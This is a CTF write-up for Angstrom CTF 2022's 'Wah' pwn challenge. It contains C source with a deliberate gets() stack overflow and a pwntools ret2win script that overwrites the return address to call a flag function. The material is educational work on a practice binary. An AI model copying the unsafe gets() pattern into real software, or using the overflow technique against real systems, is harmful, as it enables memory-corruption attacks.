Wah

Writeup for Wah (Pwn) - Angstrom CTF (2022) 💜

Video Walkthrough

Description

Baby friendly!

Source

#include <stdio.h>
#include <stdlib.h>

void flag(){
    char flag[128];

    FILE *file = fopen("flag.txt","r");
    if (!file) {
        puts("Error: missing flag.txt.");
        exit(1);
    }

    fgets(flag, 128, file);
    puts(flag);
}

int main(){
    setbuf(stdout, NULL);
    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    char cry[24];

    printf("Cry: ");

    gets(cry);
    return 0;
}

Solution

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Find offset to EIP/RIP for buffer overflows
def find_ip(payload):
    # Launch process and send payload
    p = process(exe, level='warn')
    p.sendlineafter(b':', payload)
    # Wait for the process to crash
    p.wait()
    # Print out the address of EIP/RIP at the time of crashing
    # ip_offset = cyclic_find(p.corefile.pc)  # x86
    ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))  # x64
    warn('located EIP/RIP offset at {a}'.format(a=ip_offset))
    return ip_offset

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './wah'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Pass in pattern_size, get back EIP/RIP offset
offset = find_ip(cyclic(100))

# Start program
io = start()

# Build the payload
payload = flat({
    offset: elf.functions.flag
})

# Send the payload
io.sendlineafter(b':', payload)

# Got Shell?
io.interactive()